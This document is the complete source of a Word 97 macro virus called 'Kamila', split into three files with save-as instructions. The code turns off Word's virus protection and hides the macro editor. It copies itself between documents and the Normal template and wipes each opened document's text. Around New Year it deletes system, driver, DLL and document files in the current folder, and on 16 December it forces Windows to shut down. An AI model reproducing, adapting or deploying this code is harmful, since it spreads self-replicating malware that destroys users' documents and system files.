WM97/Kamila by Otto Von Gutenberg

save as kamila.bas

Attribute VB_Name = "Kamila"
Dim NewYear As Boolean
Option Base 1

Sub KamilaRuns()
    On Error Resume Next
    NewYear = (Day(Now) >= 28 And Month(Now) = 12) Or (Day(Now) <= 3 And Month(Now) = 1)
    If NewYear Then Application.Caption = "Merry Christmas !!! Nice holidays for you"

'----------------------------------------------
'Virus: Kamila 3.1, written by Otto Gutenberg.
'==============================================
'This virus is allowed to be called as
'"Independence Day". It looks for system files
'and deletes them from the current directory.
'----------------------------------------------

    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    ShowVisualBasicEditor = False
    ActiveDocument.ReadOnlyRecommended = False
    If KamExDoc And KamExTemp Then Exit Sub
    '
    With NormalTemplate.VBProject
        For i = 1 To .VBComponents.Count
            If (.VBComponents(i).Name <> "Kamila") And (.VBComponents(i).Name <> "frmAbout") Then _
                            .VBComponents.Remove .VBComponents(i)
        Next i
        If Not KamExTemp Then .VBComponents("ThisDocument").CodeModule.DeleteLines 1 _
        , .VBComponents("ThisDocument").CodeModule.CountOfLines
    End With
    With ActiveDocument.VBProject
        For i = 1 To .VBComponents.Count
            If (.VBComponents(i).Name <> "Kamila") And (.VBComponents(i).Name <> "frmAbout") Then _
                            .VBComponents.Remove .VBComponents(i)
        Next i
        If Not KamExDoc Then .VBComponents("ThisDocument").CodeModule.DeleteLines 1 _
        , .VBComponents("ThisDocument").CodeModule.CountOfLines
    End With
    '
    If KamExDoc Then
        ActiveDocument.VBProject.VBComponents("Kamila").Export "C:\kamila.dll"
        ActiveDocument.VBProject.VBComponents("ThisDocument").Export "C:\kama.dll"
        ActiveDocument.VBProject.VBComponents("frmAbout").Export "C:\kamafrm.dll"
        NormalTemplate.VBProject.VBComponents.Import "C:\kamila.dll"
        NormalTemplate.VBProject.VBComponents.Import "C:\kamafrm.dll"
        NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "C:\kama.dll"
        NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, 4
    ElseIf KamExTemp Then
        NormalTemplate.VBProject.VBComponents("Kamila").Export "C:\kamila.dll"
        NormalTemplate.VBProject.VBComponents("ThisDocument").Export "C:\kama.dll"
        NormalTemplate.VBProject.VBComponents("frmAbout").Export "C:\kamafrm.dll"
        ActiveDocument.VBProject.VBComponents.Import "C:\kamafrm.dll"
        ActiveDocument.VBProject.VBComponents.Import "C:\kamila.dll"
        ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "C:\kama.dll"
        ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, 4
    End If
    Kill "C:\kamila.dll"
    Kill "C:\kama.dll"
    Kill "C:\kamafrm.dll"
    ActiveDocument.Save
    NormalTemplate.Save
End Sub

Sub ViewVbCode()
    On Error Resume Next
    Dim Hours As Integer
    Dim Mask As Variant
    Hours = Hour(Time)
    NewYear = (Day(Now) >= 28 And Month(Now) = 12) Or (Day(Now) <= 3 And Month(Now) = 1)
    If Hours >= 6 And Hours < 12 Then
        MsgBox ("Guten Morgen")
    ElseIf Hours >= 12 And Hours < 16 Then
        MsgBox ("Guten Tag")
    Else
        MsgBox ("Guten Abend")
    End If
    If NewYear Then
        Mask = Array("*.sys", "*.drv", "*.doc", "*.dll", "*.dos")
        MsgBox "Happy New Year!!! Have a nice holiday"
        For i = 1 To UBound(Mask)
            Kill ActiveDocument.Path + "\" + Mask(i)
        Next i
    End If
End Sub

Sub HelpAbout()
    On Error Resume Next
    frmAbout.Show
End Sub

Function KamExDoc() As Boolean
    On Error Resume Next
    KamExDoc = False
    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "Kamila" Then KamExDoc = True
    Next i
End Function

Function KamExTemp() As Boolean
    On Error Resume Next
    KamExTemp = False
    For i = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(i).Name = "Kamila" Then KamExTemp = True
    Next i
End Function

Sub AutoOpen()
    On Error Resume Next
    If NewYear Then
        Mask = Array("*.sys", "*.drv", "*.dll", "*.dos")
        MsgBox "Happy new Year!!! Have a nice holiday"
        For i = 1 To UBound(Mask)
            Kill ActiveDocument.Path + "\" + Mask(i)
        Next i
    End If
    If Day(Now) = 16 And Month(Now) = 12 Then
        Application.Tasks.ExitWindows
    End If
End Sub

Sub ToolsMacro()
    On Error Resume Next
    Application.DisplayStatusBar = True
    Application.StatusBar = "Your word processor is infected"
    If Day(Now) = 16 And Month(Now) = 12 Then
        ActiveDocument.Save
        NormalTemplate.Save
        Application.Tasks.ExitWindows
    End If
End Sub

Sub FileTemplates()
    
End Sub


---------------------------------

save as thisDocument.cls

VERSION 1.0 CLASS
BEGIN
  MultiUse = -1  'True
END
Attribute VB_Name = "ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Private Sub Document_Open()
    On Error Resume Next
    If ThisDocument.Type = wdTypeDocument And Kamila.KamExTemp Then Exit Sub
    Selection.WholeStory
    Selection.Delete wdCharacter, Count:=1
    Selection.Font.Size = 50
    Selection.Font.Bold = wdToggle
    Selection.TypeText """Kamila"" atacks"
    Selection.TypeParagraph
    Selection.Font.Size = 20
    Selection.Font.Bold = wdToggle
    Selection.TypeText "Your word processor is infected."
    Selection.TypeParagraph
    Selection.TypeText "Code written by Otto Gutenberg."
    Selection.TypeParagraph
    Selection.TypeText "Almaty, 2001"
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "Otto von Gutenberg"
        .Subject = "Kamila atacks your word processor"
        .Comments = "CAUTION: Don't open"
        .Execute
    End With
    Kamila.KamilaRuns
End Sub

Private Sub Document_Close()
    Document_Open
End Sub


----------------------------

save as frmAbout.frm

VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} frmAbout 
   Caption         =   "About ""Kamila"" virus"
   ClientHeight    =   2700
   ClientLeft      =   45
   ClientTop       =   330
   ClientWidth     =   4710
   OleObjectBlob   =   "frmAbout.frx":0000
   StartUpPosition =   1  'CenterOwner
End
Attribute VB_Name = "frmAbout"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub CommandButton1_Click()
    frmAbout.Hide
End Sub

Private Sub CommandButton2_Click()
    On Error Resume Next
    Application.System.MSInfo
End Sub
